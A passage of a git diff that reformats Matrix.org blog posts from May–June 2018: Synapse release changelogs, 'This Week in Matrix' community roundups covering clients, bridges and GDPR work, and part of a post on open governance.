    • remove duplicates from groups tables (PR #3129)
    • +
    • Improve exception handling for background processes (PR #3138)
    • +
    • Add missing consumeErrors to improve exception handling (PR #3139)
    • +
    • reraise exceptions more carefully (PR #3142)
    • +
    • Remove redundant call to preserve_fn (PR #3143)
    • +
    • Trap exceptions thrown within run_in_background (PR #3144)
    Changes - Refactors:
      -
    • Refactor /context to reuse pagination storage functions (PR #3193)
    • -
    • Refactor recent events func to use pagination func (PR #3195)
    • -
    • Refactor pagination DB API to return concrete type (PR #3196)
    • -
    • Refactor get_recent_events_for_room return type (PR #3198)
    • -
    • Refactor sync APIs to reuse pagination API (PR #3199)
    • -
    • Remove unused code path from member change DB func (PR #3200)
    • -
    • Refactor request handling wrappers (PR #3203)
    • -
    • transaction_id, destination defined twice (PR #3209) Thanks to @damir-manapov!
    • -
    • Refactor event storage to prepare for changes in state calculations (PR #3141)
    • -
    • Set Server header in SynapseRequest (PR #3208)
    • -
    • Use deferred.addTimeout instead of time_bound_deferred (PR #3127#3178)
    • -
    • Use run_in_background in preference to preserve_fn (PR #3140)
    • +
    • Refactor /context to reuse pagination storage functions (PR #3193)
    • +
    • Refactor recent events func to use pagination func (PR #3195)
    • +
    • Refactor pagination DB API to return concrete type (PR #3196)
    • +
    • Refactor get_recent_events_for_room return type (PR #3198)
    • +
    • Refactor sync APIs to reuse pagination API (PR #3199)
    • +
    • Remove unused code path from member change DB func (PR #3200)
    • +
    • Refactor request handling wrappers (PR #3203)
    • +
    • transaction_id, destination defined twice (PR #3209) Thanks to @damir-manapov!
    • +
    • Refactor event storage to prepare for changes in state calculations (PR #3141)
    • +
    • Set Server header in SynapseRequest (PR #3208)
    • +
    • Use deferred.addTimeout instead of time_bound_deferred (PR #3127#3178)
    • +
    • Use run_in_background in preference to preserve_fn (PR #3140)
    Changes - Python 3 migration: Bug Fixes:
      -
    • synapse fails to start under Twisted >= 18.4 (PR #3157) Thanks to @Half-Shot!
    • -
    • Fix a class of logcontext leaks (PR #3170)
    • -
    • Fix a couple of logcontext leaks in unit tests (PR #3172)
    • -
    • Fix logcontext leak in media repo (PR #3174)
    • -
    • Escape label values in prometheus metrics (PR #3175#3186)
    • -
    • Fix 'Unhandled Error' logs with Twisted 18.4 (PR #3182) Thanks to @Half-Shot!
    • -
    • Fix logcontext leaks in rate limiter (PR #3183)
    • -
    • notifications: Convert next_token to string according to the spec (PR #3190) Thanks to @mujx!
    • -
    • nuke-room-from-db.sh: fix deletion from search table (PR #3194) Thanks to @rubo77!
    • -
    • add guard for None on purge_history api (PR #3160) Thanks to @krombel!
    • +
    • synapse fails to start under Twisted >= 18.4 (PR #3157) Thanks to @Half-Shot!
    • +
    • Fix a class of logcontext leaks (PR #3170)
    • +
    • Fix a couple of logcontext leaks in unit tests (PR #3172)
    • +
    • Fix logcontext leak in media repo (PR #3174)
    • +
    • Escape label values in prometheus metrics (PR #3175#3186)
    • +
    • Fix 'Unhandled Error' logs with Twisted 18.4 (PR #3182) Thanks to @Half-Shot!
    • +
    • Fix logcontext leaks in rate limiter (PR #3183)
    • +
    • notifications: Convert next_token to string according to the spec (PR #3190) Thanks to @mujx!
    • +
    • nuke-room-from-db.sh: fix deletion from search table (PR #3194) Thanks to @rubo77!
    • +
    • add guard for None on purge_history api (PR #3160) Thanks to @krombel!
    diff --git a/content/blog/2018/05/2018-05-18-this-week-in-matrix-2018-05-18.md b/content/blog/2018/05/2018-05-18-this-week-in-matrix-2018-05-18.md index 6eff36fbe..b0c2e31b2 100644 --- a/content/blog/2018/05/2018-05-18-this-week-in-matrix-2018-05-18.md +++ b/content/blog/2018/05/2018-05-18-this-week-in-matrix-2018-05-18.md @@ -52,29 +52,29 @@ Rust-based Ruma has new activity, sta ### Synapse
      -
    • Synapse 0.29 out - pretty much a maintenance release.
    • -
    • Chunk PRs are landing, providing a long-term solution to the ‘depth' issue which is still impacting #matrix and #matrix-dev.
    • -
    • Lots and lots of GDPR work - you can follow progress at https://github.com/vector-im/riot-meta/projects/7.
    • -
    • Fixes SYN-1(!!!) - server notifications in general.
    • -
    • ...and a last minute update from Andrej Shadura that the official Debian packages for Synapse are now up-to-date in Debian Unstable!!
    • +
    • Synapse 0.29 out - pretty much a maintenance release.
    • +
    • Chunk PRs are landing, providing a long-term solution to the ‘depth' issue which is still impacting #matrix and #matrix-dev.
    • +
    • Lots and lots of GDPR work - you can follow progress at https://github.com/vector-im/riot-meta/projects/7.
    • +
    • Fixes SYN-1(!!!) - server notifications in general.
    • +
    • ...and a last minute update from Andrej Shadura that the official Debian packages for Synapse are now up-to-date in Debian Unstable!!
    ### Riot/Web
      -
    • Riot/0.15 is out! With Stickers, Electron 2.0, Firefox E2E speed ups and lots of polishing
    • -
    • Working on GDPR now - cookie warnings have already landed on /develop, for instance. Remaining is the consent flow, and the deactivation/erasure flow.
    • -
    • Currently on a blitz to mop up P1 bugs
    • -
    • Accidental mission to replace Draft with Slate to make the RTE robust.
    • -
    • Upcoming: enabling Jitsi everywhere; E2E cross-signing; member lazyloading.
    • +
    • Riot/0.15 is out! With Stickers, Electron 2.0, Firefox E2E speed ups and lots of polishing
    • +
    • Working on GDPR now - cookie warnings have already landed on /develop, for instance. Remaining is the consent flow, and the deactivation/erasure flow.
    • +
    • Currently on a blitz to mop up P1 bugs
    • +
    • Accidental mission to replace Draft with Slate to make the RTE robust.
    • +
    • Upcoming: enabling Jitsi everywhere; E2E cross-signing; member lazyloading.
    ### Riot/Mobile
      -
    • Sticker sending is almost done!
    • -
    • GDPR work in progress
    • -
    • Released a fix for unreliable notification (and bg syncing) on Android 8 on Fdroid (released on Wednesday - please update!)
    • +
    • Sticker sending is almost done!
    • +
    • GDPR work in progress
    • +
    • Released a fix for unreliable notification (and bg syncing) on Android 8 on Fdroid (released on Wednesday - please update!)
    ### Neo Alpha 0.05 @@ -107,7 +107,7 @@ A gomuks package was added to adde ## Independent Client-Server interactions - + Lots of excitement at the variety of independent clients and servers able to interact over the matrix protocol. The images above show The Construct (server) and gomuks (client), and then mxhsd and Fractal. A fundamental part of matrix is to be an open protocol, so it's great to see entirely independent implementations liaising together! While implementing mxhsd, Max has been documenting spec omissions in a branch of the spec - we're hoping he will contribute these back! Honourable mention for mujx, who was sending messages with nheko and Ruma a year ago! @@ -115,11 +115,11 @@ Honourable mention for mujx, ## Matrix Core team expansion
      -
    • Stève - 17th May (yesterday)
    • -
    • Amber - 21st (Monday)
    • -
    • Anoa - 21st (Monday)
    • -
    • Hubert - 28th May
    • -
    • Half-Shot - 4th June +
    • Stève - 17th May (yesterday)
    • +
    • Amber - 21st (Monday)
    • +
    • Anoa - 21st (Monday)
    • +
    • Hubert - 28th May
    • +
    • Half-Shot - 4th June ...and one more community member, hopefully (just sorting paperwork currently!)
    Heads up that we're consciously trying to hire a mix of folks from the Matrix community as well as those outside it - and avoid hiring the whole community, both to ensure diversity of viewpoint & experience in the core team, and also to avoid cannibalising folks who working on their own commercial projects on top of Matrix. We'd prefer Matrix to be as decentralised and heterogenous as possible, needless to say - and instead try to support folks in building on Matrix without hiring them into the core team (where we'd expect them to focus on the core project for everyone's benefit). This may change once we have Matrix set up as a separate foundation, once we've got out of beta, of course. @@ -127,17 +127,17 @@ Heads up that we're consciously trying to hire a mix of folks from the Matrix co ## New Rooms ## Next week in Matrix Next week I'll take a look at Matrix-related GSOC 2018 projects, what the plans are and how the first few weeks are going. -## So Long... +## So Long That's all for now! Join us on #TWIM:matrix.org if you'd like to make an announcement and be featured in this series. diff --git a/content/blog/2018/05/2018-05-24-synapse-0-30-0-released-today.md b/content/blog/2018/05/2018-05-24-synapse-0-30-0-released-today.md index 2a5995200..37d9a58b5 100644 --- a/content/blog/2018/05/2018-05-24-synapse-0-30-0-released-today.md +++ b/content/blog/2018/05/2018-05-24-synapse-0-30-0-released-today.md @@ -11,7 +11,6 @@ It's release o'clock - GDPR time!!!! v0.30.0 sees the introduction of Server Notices, which provides a channel whereby server administrators can send messages to users on the server, as well as Consent Management for tracking whether users have agreed to the terms and conditions set by the administrator of a server - and blocking access to the server until they have. - In conjunction these features support GDPR compliance in the form of providing a client agnostic means to contact users and ask for consent/agreement to a Privacy Notice. For more information about our approach to GDPR compliance take a look here (although be aware that our position has evolved a bit; see the upcoming new privacy policy for the Matrix.org homeserver for details). @@ -34,41 +33,41 @@ so should work with any Matrix client. For more details see #3273) -
  • Use the localpart in the consent uri (PR #3272)
  • -
  • Support for putting %(consent_uri)s in messages (PR #3271)
  • -
  • Block attempts to send server notices to remote users (PR #3270)
  • -
  • Docs on consent bits (PR #3268)
  • +
  • Allow overriding the server_notices user's avatar (PR #3273)
  • +
  • Use the localpart in the consent uri (PR #3272)
  • +
  • Support for putting %(consent_uri)s in messages (PR #3271)
  • +
  • Block attempts to send server notices to remote users (PR #3270)
  • +
  • Docs on consent bits (PR #3268)
  • ### Changes in synapse v0.30.0-rc1 (2018-05-23) GDPR Support:
      -
    • ConsentResource to gather policy consent from users (PR #3213)
    • -
    • Move RoomCreationHandler out of synapse.handlers.Handlers (PR #3225)
    • -
    • Infrastructure for a server notices room (PR #3232)
    • -
    • Send users a server notice about consent (PR #3236)
    • -
    • Reject attempts to send event before privacy consent is given (PR #3257)
    • -
    • Add a 'has_consented' template var to consent forms (PR #3262)
    • -
    • Fix dependency on jinja2 (PR #3263)
    • +
    • ConsentResource to gather policy consent from users (PR #3213)
    • +
    • Move RoomCreationHandler out of synapse.handlers.Handlers (PR #3225)
    • +
    • Infrastructure for a server notices room (PR #3232)
    • +
    • Send users a server notice about consent (PR #3236)
    • +
    • Reject attempts to send event before privacy consent is given (PR #3257)
    • +
    • Add a 'has_consented' template var to consent forms (PR #3262)
    • +
    • Fix dependency on jinja2 (PR #3263)
    Features:
      -
    • Cohort analytics (PR #3163#3241#3251)
    • -
    • Add lxml to docker image for web previews (PR #3239) Thanks to @ptman!
    • -
    • Add in flight request metrics (PR #3252)
    • +
    • Cohort analytics (PR #3163#3241#3251)
    • +
    • Add lxml to docker image for web previews (PR #3239) Thanks to @ptman!
    • +
    • Add in flight request metrics (PR #3252)
    Changes:
      -
    • Remove unused update_external_syncs (PR #3233)
    • -
    • Use stream rather depth ordering for push actions (PR #3212)
    • -
    • Make purge_history operate on tokens (PR #3221)
    • -
    • Don't support limitless pagination (PR #3265)
    • +
    • Remove unused update_external_syncs (PR #3233)
    • +
    • Use stream rather depth ordering for push actions (PR #3212)
    • +
    • Make purge_history operate on tokens (PR #3221)
    • +
    • Don't support limitless pagination (PR #3265)
    Bug Fixes:
      -
    • Fix logcontext resource usage tracking (PR #3258)
    • -
    • Fix error in handling receipts (PR #3235)
    • -
    • Stop the transaction cache caching failures (PR #3255)
    • +
    • Fix logcontext resource usage tracking (PR #3258)
    • +
    • Fix error in handling receipts (PR #3235)
    • +
    • Stop the transaction cache caching failures (PR #3255)
    diff --git a/content/blog/2018/05/2018-05-25-this-week-in-matrix-2018-05-25.md b/content/blog/2018/05/2018-05-25-this-week-in-matrix-2018-05-25.md index 62ecf0f43..83866769f 100644 --- a/content/blog/2018/05/2018-05-25-this-week-in-matrix-2018-05-25.md +++ b/content/blog/2018/05/2018-05-25-this-week-in-matrix-2018-05-25.md @@ -11,17 +11,17 @@ category = ["This Week in Matrix"] HAPPY GDPR DAY EVERYONE!!!!1!
      -
    • Our long-awaited new privacy policy & term & conditions for the matrix.org server are here - Phase 1 is complete! +
    • Our long-awaited new privacy policy & term & conditions for the matrix.org server are here - Phase 1 is complete!
    • -
    • Folks are already accepting the new policies - thanks. +
    • Folks are already accepting the new policies - thanks.
    • -
    • We're going to start requiring acceptance to access the matrix.org server on Tuesday (May 29th). +
    • We're going to start requiring acceptance to access the matrix.org server on Tuesday (May 29th).
    • -
    • We're already receiving our first GDPR requests… :| +
    • We're already receiving our first GDPR requests… :|
    • -
    • Erasure and Right-to-be-forgotten work (Phase 2) is next up so we can action the requests in a timely manner. +
    • Erasure and Right-to-be-forgotten work (Phase 2) is next up so we can action the requests in a timely manner.
    • -
    • It looks like we will go ahead on removing MXIDs on events as a Phase 3 (although for now we do warn people that this is effectively a technical limitation of Matrix, albeit one that we're working on). +
    • It looks like we will go ahead on removing MXIDs on events as a Phase 3 (although for now we do warn people that this is effectively a technical limitation of Matrix, albeit one that we're working on).
    @@ -35,10 +35,10 @@ Big E2E progress from mujx, Back to work after the HackfestFractal have released version 0.1.30, featuring:
      -
    • Translations support
    • -
    • Number of members in the room in the members button
    • -
    • File storage configuration support
    • -
    • Gold and Silver tags for admins and moderatos
    • +
    • Translations support
    • +
    • Number of members in the room in the members button
    • +
    • File storage configuration support
    • +
    • Gold and Silver tags for admins and moderatos
    Some coverage of the Fractal design thinking from last week, nothing new but a decent signal boost. @@ -46,27 +46,27 @@ Back to work after the H tulir came in with some late breaking news about gomuks, the terminal client written in go. New features:
      -
    • A fancy quick room switcher by Evidlo
    • -
    • A few basic UI options (hide user/room lists)
    • -
    • Plaintext view to be able to click long links and such
    • -
    • Fixed some bugs
    • +
    • A fancy quick room switcher by Evidlo
    • +
    • A few basic UI options (hide user/room lists)
    • +
    • Plaintext view to be able to click long links and such
    • +
    • Fixed some bugs
    ### Riot/Web
      -
    • GDPR-capable release! 0.15.4 out today +
    • GDPR-capable release! 0.15.4 out today
    • -
    • Various bugfixes and performance regressions. +
    • Various bugfixes and performance regressions.
    ### Riot/Mobile
      -
    • GDPR-capable releases! +
    • GDPR-capable releases!
    • -
    • Sticker sending is ready modulo some CSS bugs; we'll get it pushed shortly. +
    • Sticker sending is ready modulo some CSS bugs; we'll get it pushed shortly.
    @@ -92,9 +92,9 @@ Back to work after the H Lots of progress on mautrix-telegram this lately including v0.2.0 RC. As reported by tulir:
      -
    • A dockerfile by jcgruenhage
    • -
    • Option to whitelist/blacklist automatic bridging of specific chats
    • -
    • Fixed many bugs
    • +
    • A dockerfile by jcgruenhage
    • +
    • Option to whitelist/blacklist automatic bridging of specific chats
    • +
    • Fixed many bugs
    ### matrix-appservice-sms @@ -125,8 +125,8 @@ No general GSOC round-up this week, ruma-events 0.10.0: ruma-events contains Serializable Rust types for the events in the Matrix specification. 0.10.0 sees a major update with code provided by mujx, and contains many breaking changes. -
  • ruma-api-macros 0.2.2, and ruma-client-api] is also updated to use the new macro.
  • +
  • ruma-events 0.10.0: ruma-events contains Serializable Rust types for the events in the Matrix specification. 0.10.0 sees a major update with code provided by mujx, and contains many breaking changes.
  • +
  • ruma-api-macros 0.2.2, and ruma-client-api] is also updated to use the new macro.
  • ### f0x account migration helper @@ -142,19 +142,19 @@ Work continues in the Ruma space. This week saw the release of ### Synapse
      -
    • GDPR policy management is welcomed in by Synapse 0.30 +
    • GDPR policy management is welcomed in by Synapse 0.30
    • -
    • Means we get server notices too! +
    • Means we get server notices too!
    • -
    • Explosion of Python 3 activity from notafile & Amber (hawkowl) +
    • Explosion of Python 3 activity from notafile & Amber (hawkowl)
    • -
    • andrewsh has prepared a Debian package for the 0.30 release.
    • +
    • andrewsh has prepared a Debian package for the 0.30 release.
    ### Dendrite
      -
    • Anoa is on the case, having joined the core team on Monday - Dendrite is already sending events to ASes! Meanwhile APwhitehat is hacking away on his GSoC projects! +
    • Anoa is on the case, having joined the core team on Monday - Dendrite is already sending events to ASes! Meanwhile APwhitehat is hacking away on his GSoC projects!
    @@ -165,10 +165,10 @@ The Matrix Spec Change Proposals list is po ## New Rooms ## GSOC diff --git a/content/blog/2018/06/2018-06-01-this-week-in-matrix-2018-06-01.md b/content/blog/2018/06/2018-06-01-this-week-in-matrix-2018-06-01.md index 0893d9ba4..a7164c466 100644 --- a/content/blog/2018/06/2018-06-01-this-week-in-matrix-2018-06-01.md +++ b/content/blog/2018/06/2018-06-01-this-week-in-matrix-2018-06-01.md @@ -33,13 +33,13 @@ Says Zeratax: > i didn't want to open up registration for everyone > i didn't want to register every account manually and have to worry about seeing passwords etc > now i can just share a link, e.g: -> https://zeratax.github.io/matrix-registration/demo.html?token=JargonGingerYankee +> > > and my friends can register. > > these token can be restricted as one time usable only or by an expiration date. -### dendrite activity! +### dendrite activity anoa writes about progress on dendrite: @@ -111,9 +111,9 @@ It's now possible to install nheko a ## New Rooms, also rooms which happen to be new to benpa ## That's about all for now… diff --git a/content/blog/2018/06/2018-06-06-synapse-v0-31-0-released.md b/content/blog/2018/06/2018-06-06-synapse-v0-31-0-released.md index 11eb84b63..e82f170e0 100644 --- a/content/blog/2018/06/2018-06-06-synapse-v0-31-0-released.md +++ b/content/blog/2018/06/2018-06-06-synapse-v0-31-0-released.md @@ -19,49 +19,49 @@ Most notable change from v0.30.0 is to switch to python prometheus library to im Bug Fixes:
      -
    • Fix metric documentation tables (PR #3341)
    • -
    • Fix LaterGauge error handling (694968f)
    • -
    • Fix replication metrics (b7e7fd2)
    • +
    • Fix metric documentation tables (PR #3341)
    • +
    • Fix LaterGauge error handling (694968f)
    • +
    • Fix replication metrics (b7e7fd2)
    #### Changes in synapse v0.31.0-rc1 (2018-06-04) Features:
      -
    • Switch to the Python Prometheus library (PR #3256#3274)
    • -
    • Let users leave the server notice room after joining (PR #3287)
    • +
    • Switch to the Python Prometheus library (PR #3256#3274)
    • +
    • Let users leave the server notice room after joining (PR #3287)
    Changes:
      -
    • daily user type phone home stats (PR #3264)
    • -
    • Use iter* methods for _filter_events_for_server (PR #3267)
    • -
    • Docs on consent bits (PR #3268)
    • -
    • Remove users from user directory on deactivate (PR #3277)
    • -
    • Avoid sending consent notice to guest users (PR #3288)
    • -
    • disable CPUMetrics if no /proc/self/stat (PR #3299)
    • -
    • Add local and loopback IPv6 addresses to url_preview_ip_range_blacklist (PR #3312) Thanks to @thegcat!
    • -
    • Consistently use six's iteritems and wrap lazy keys/values in list() if they're not meant to be lazy (PR #3307)
    • -
    • Add private IPv6 addresses to example config for url preview blacklist (PR #3317) Thanks to @thegcat!
    • -
    • Reduce stuck read-receipts: ignore depth when updating (PR #3318)
    • -
    • Put python's logs into Trial when running unit tests (PR #3319)
    • +
    • daily user type phone home stats (PR #3264)
    • +
    • Use iter* methods for _filter_events_for_server (PR #3267)
    • +
    • Docs on consent bits (PR #3268)
    • +
    • Remove users from user directory on deactivate (PR #3277)
    • +
    • Avoid sending consent notice to guest users (PR #3288)
    • +
    • disable CPUMetrics if no /proc/self/stat (PR #3299)
    • +
    • Add local and loopback IPv6 addresses to url_preview_ip_range_blacklist (PR #3312) Thanks to @thegcat!
    • +
    • Consistently use six's iteritems and wrap lazy keys/values in list() if they're not meant to be lazy (PR #3307)
    • +
    • Add private IPv6 addresses to example config for url preview blacklist (PR #3317) Thanks to @thegcat!
    • +
    • Reduce stuck read-receipts: ignore depth when updating (PR #3318)
    • +
    • Put python's logs into Trial when running unit tests (PR #3319)
    Changes, python 3 migration: Bugs:
      -
    • Fix federation backfill bugs (PR #3261)
    • -
    • federation: fix LaterGauge usage (PR #3328) Thanks to @intelfx!
    • +
    • Fix federation backfill bugs (PR #3261)
    • +
    • federation: fix LaterGauge usage (PR #3328) Thanks to @intelfx!
    diff --git a/content/blog/2018/06/2018-06-08-synapse-0-31-1-released.md b/content/blog/2018/06/2018-06-08-synapse-0-31-1-released.md index 23aa319fe..113fa64bb 100644 --- a/content/blog/2018/06/2018-06-08-synapse-0-31-1-released.md +++ b/content/blog/2018/06/2018-06-08-synapse-0-31-1-released.md @@ -26,5 +26,5 @@ We are not aware of it being actively exploited but please upgrade asap. Bug Fixes:
      -
    • Fix event filtering in get_missing_events handler (PR #3371)
    • +
    • Fix event filtering in get_missing_events handler (PR #3371)
    diff --git a/content/blog/2018/06/2018-06-08-this-week-in-matrix-2018-06-08.md b/content/blog/2018/06/2018-06-08-this-week-in-matrix-2018-06-08.md index e827f34d1..b8accf2c9 100644 --- a/content/blog/2018/06/2018-06-08-this-week-in-matrix-2018-06-08.md +++ b/content/blog/2018/06/2018-06-08-this-week-in-matrix-2018-06-08.md @@ -22,11 +22,11 @@ With the first evaluation date coming up, let's take a look at what some of the Features worked on this month: >
      ->
    • we made a transactions cache/table for idempotency. So now dendrite will not reprocess events as far as client-server api is concerned.
    • ->
    • added request authentication function which recognises an application service user (partially landed.)
    • ->
    • username auto generation, which let's you register without username (will be used for guest access later.)
    • ->
    • We also added a tokens library based on macaroons, however we might not be using it anytime soon. Since it's been known to be very problematic (on synapse).
    • ->
    • Other small bug fixes not big enough to mention.
    • +>
    • we made a transactions cache/table for idempotency. So now dendrite will not reprocess events as far as client-server api is concerned.
    • +>
    • added request authentication function which recognises an application service user (partially landed.)
    • +>
    • username auto generation, which let's you register without username (will be used for guest access later.)
    • +>
    • We also added a tokens library based on macaroons, however we might not be using it anytime soon. Since it's been known to be very problematic (on synapse).
    • +>
    • Other small bug fixes not big enough to mention.
    • >
    ## Clients @@ -65,7 +65,7 @@ I enjoyed this video enough that I'm embedding it here: kitsune regarding the GTAD 0.6 release: > A new version of API code generator, GTAD, 0.6, has been released today, adding support of variant types, proper dealing with definitions referencing other files ($ref) and more options to override schema names - even defined inline. Most importantly, GTAD has got extensive README.md that describes (most of) the things needed to start writing your own templates! As usual, kitsune will be happy to help those who would like to try it (both with C/C++ projects and other languages). - +> > libQMatrixClient has been benefiting from GTAD over the last 4 months or so - but this is the first release where GTAD is stable and feature-complete enough to be shared with other projects. #gtad:matrix.org is the new room for GTAD chat and support. @@ -82,8 +82,8 @@ Last week we linked to Jul nheko v0.4.3 is now available, from the release notes:
      -
    • Overdue fixes for some regressions with regard to widget height introduced in the previous two releases
    • -
    • The matrix id will be shown on hover on the display name.
    • +
    • Overdue fixes for some regressions with regard to widget height introduced in the previous two releases
    • +
    • The matrix id will be shown on hover on the display name.
    ### riot-web @@ -123,8 +123,8 @@ And an SDK for which there is a sample bot for mastodon: There are rooms to follow progress on these projects: Also find updates on Mastodon: ma1uta@mastodon.social @@ -132,19 +132,19 @@ Also find updates on Mastodon: ma1uta@mastodon.social Half-Shot has been at work on matrix-appservice-discord, and has made a v0.2.0 release! Looong feature list below is taken from https://github.com/Half-Shot/matrix-appservice-discord/releases/tag/v0.2.0:
      -
    • Support Node v10
    • -
    • Option to disable @here and @everyone on the bridge - Permission based mentions coming soon.
    • -
    • Sending large files over the Discord limit now sends them as URLs
    • -
    • Added support for external and animated emoji - Thanks @Sorunome!
    • -
    • Initial support for m.sticker
    • -
    • Sender avatars are now thumbnailed - Thanks @turt2live
    • -
    • Support for message edits. Thanks @anoadragon453
    • -
    • Support for custom and animated discord emoji parsing M->D. Thanks @anoadragon453
    • -
    • Throw discord.js logs into our logging to help debug connection issues
    • -
    • Warn when turning on encryption that the bridge will no longer work.
    • -
    • Clarify where to specify protocols in the registration config. Thanks @anoadragon453
    • -
    • Add attachments into the event store and fix up some of our Inserts. Thanks @eeeeeta
    • -
    • Fail if the event.content.url is not present.
    • +
    • Support Node v10
    • +
    • Option to disable @here and @everyone on the bridge - Permission based mentions coming soon.
    • +
    • Sending large files over the Discord limit now sends them as URLs
    • +
    • Added support for external and animated emoji - Thanks @Sorunome!
    • +
    • Initial support for m.sticker
    • +
    • Sender avatars are now thumbnailed - Thanks @turt2live
    • +
    • Support for message edits. Thanks @anoadragon453
    • +
    • Support for custom and animated discord emoji parsing M->D. Thanks @anoadragon453
    • +
    • Throw discord.js logs into our logging to help debug connection issues
    • +
    • Warn when turning on encryption that the bridge will no longer work.
    • +
    • Clarify where to specify protocols in the registration config. Thanks @anoadragon453
    • +
    • Add attachments into the event store and fix up some of our Inserts. Thanks @eeeeeta
    • +
    • Fail if the event.content.url is not present.
    + lots of testing and fixes @@ -160,15 +160,15 @@ Also find updates on Mastodon: ma1uta@mastodon.social ### Ananace on Kubernetes > Switched the Kubernetes-oriented Synapse image over to running on the official one as a base, seems to still work quite well. Even if there were some issues at first due to Alpine and busybox. - +> > I've been building slightly specialized Synapse docker images since 0.25.1 - and running them on my Kubernetes cluster at home. Moved them to being based on the official images now instead of building them on CentOS as I used to. ### Synapse 0.31.0 and 0.31.1 released Changes for Synapse 0.31.0
      -
    • Most notable change from v0.30.0 is to switch to python prometheus library to improve system stats reporting. WARNING this changes a number of prometheus metrics in a backwards-incompatible manner.
    • -
    • There are still many changes being made relating to the Python 3 migration.
    • +
    • Most notable change from v0.30.0 is to switch to python prometheus library to improve system stats reporting. WARNING this changes a number of prometheus metrics in a backwards-incompatible manner.
    • +
    • There are still many changes being made relating to the Python 3 migration.
    For Synapse 0.31.1 @@ -183,27 +183,27 @@ I'm going to start making a list of guides from around the web to be linked from ## New rooms ## other points of interest -## The end is nigh... +## The end is nigh And here it is. As you may have noticed, I'm leaning much more toward quoting wherever possible, rather than trying to paraphrase. The aim is to keep the content authentic and community-driven, rather than a narrative from one fairly naive observer. The risk is it makes the post awkward to read as it switches voice too frequently. Come to #twim:matrix.org and let me know if you have opinions on this. diff --git a/content/blog/2018/06/2018-06-20-towards-open-governance-for-matrix-org.md b/content/blog/2018/06/2018-06-20-towards-open-governance-for-matrix-org.md index 91e884d0c..0a11f741f 100644 --- a/content/blog/2018/06/2018-06-20-towards-open-governance-for-matrix-org.md +++ b/content/blog/2018/06/2018-06-20-towards-open-governance-for-matrix-org.md @@ -17,19 +17,19 @@ Running Matrix.org as a non-profit means prioritising to neutrally support all p That being said, having the core team work for the same startup is still a somewhat unorthodox model for an open source project building an open standard, so we'd like to explain the main reasons for doing it up to this point:
      -
    • To ensure that Matrix is fit for real-world usage and to force us to dogfood it. To ensure that it is a protocol that works well enough that you can build a commercial startup around it if you so wanted, and to motivate us to build Matrix as something more than an academic or nerdy exercise in protocol design - rather one which can be commercially viable.
    • -
    • To help ensure the core team is aligned and pulling towards the same goal, especially during the process of actually designing and “giving birth” to the initial protocol and getting it to an ‘r0' release across all APIs.  We strongly believe that when a project is in the design phase you get faster and better design from a bunch of people who are collaborating together towards the same goal, rather than independent factions who might pursue their own agendas at the expense of the overall project.
    • -
    • Because we believe the value of Matrix lies in the size of the ecosystem, and if Matrix realises its full potential (i.e. it grows as big as the web), it only makes it more useful and valuable for *everyone*. We realise that it might be a leap of faith to believe that we don't have any incentive to sabotage Matrix by privileging specific players (after all, there are so many companies out there in it just for the cash), but the fact is that this is where we stand, and we're doing our best to prove it. To spell it out: it is in New Vector's interest (and also in the interests of other Matrix-focused companies) to grow Matrix to be as big, open, unfragmented and as neutral as possible.  Matrix should be big enough for a multitude of wildly successful companies and projects to benefit from it, and everyone wins - just like the web.
    • +
    • To ensure that Matrix is fit for real-world usage and to force us to dogfood it. To ensure that it is a protocol that works well enough that you can build a commercial startup around it if you so wanted, and to motivate us to build Matrix as something more than an academic or nerdy exercise in protocol design - rather one which can be commercially viable.
    • +
    • To help ensure the core team is aligned and pulling towards the same goal, especially during the process of actually designing and “giving birth” to the initial protocol and getting it to an ‘r0' release across all APIs.  We strongly believe that when a project is in the design phase you get faster and better design from a bunch of people who are collaborating together towards the same goal, rather than independent factions who might pursue their own agendas at the expense of the overall project.
    • +
    • Because we believe the value of Matrix lies in the size of the ecosystem, and if Matrix realises its full potential (i.e. it grows as big as the web), it only makes it more useful and valuable for *everyone*. We realise that it might be a leap of faith to believe that we don't have any incentive to sabotage Matrix by privileging specific players (after all, there are so many companies out there in it just for the cash), but the fact is that this is where we stand, and we're doing our best to prove it. To spell it out: it is in New Vector's interest (and also in the interests of other Matrix-focused companies) to grow Matrix to be as big, open, unfragmented and as neutral as possible.  Matrix should be big enough for a multitude of wildly successful companies and projects to benefit from it, and everyone wins - just like the web.
    However, this approach is not perfect and comes with some major problems:
      -
    • Without clear separation of responsibilities and incentives, we have to ask the community to take it on faith that our efforts are never intended to privilege New Vector ahead of the wider ecosystem. This leaves room for doubt, especially when our reasoning is unclear or our conclusions controversial.
      A good example of a controversial decision is the lack of investment by the core team in the Server-Server API.  For the last ~2 years (since Mar 2016) we made the judgement call to prioritise user-facing features and experience.  The rationale was that to grow Matrix we need to provide a viable alternative to Slack/Discord/WhatsApp etc, and doing that means providing a Client-Server API which lets clients do just that, and server implementations capable of running at scale. This is why the CS API has had a stable release since Dec 2015 (currently at r0.3.0) and why we've put so much effort into server scaling/perf... but the SS API itself still has bugs and has still not yet made it to a stable release.
      This is obviously incredibly frustrating to server devs who tried to implement the SS API despite it being unstable and unreleased. In retrospect it might have been a mistake and we could probably have turned off signup on matrix.org and diverted the resources to the SS API work instead.  However, this is a case of making the judgement call to prioritising the overall ecosystem over one class of stakeholders (server devs) by focusing on providing users usable and featureful decentralised communication apps. Indeed we strongly believe that users are the main means to grow the ecosystem (others have failed without them): no one joins a network with no friends, however popular it is among devs.  Nonetheless, we are finally in a position to hire spec maintainers and get to a stable S2S as fast as we possibly can, and frankly feel relieved to be able to unblock this situation.
      Another good example is the recent 0.31.2 security update of Synapse: this was a defensive patch to the protocol that we added to ensure that even if bugs occur when authing events over federation, it should be impossible for a random user to ever hijack a room again.  We specced this out as a formal proposal and are gathering feedback, but expedited implementation in Synapse to protect the overall ecosystem. However, it turns out that the change breaks a small number of highly custom rooms, and so we find ourselves accused of privileging NV.  The reality is that we made a judgement call to protect the vast majority of today's ecosystem (and hope to provide a longer-term fix in the relatively near future which /will/ be compatible with more custom room use cases). +
    • Without clear separation of responsibilities and incentives, we have to ask the community to take it on faith that our efforts are never intended to privilege New Vector ahead of the wider ecosystem. This leaves room for doubt, especially when our reasoning is unclear or our conclusions controversial.
      A good example of a controversial decision is the lack of investment by the core team in the Server-Server API.  For the last ~2 years (since Mar 2016) we made the judgement call to prioritise user-facing features and experience.  The rationale was that to grow Matrix we need to provide a viable alternative to Slack/Discord/WhatsApp etc, and doing that means providing a Client-Server API which lets clients do just that, and server implementations capable of running at scale. This is why the CS API has had a stable release since Dec 2015 (currently at r0.3.0) and why we've put so much effort into server scaling/perf... but the SS API itself still has bugs and has still not yet made it to a stable release.
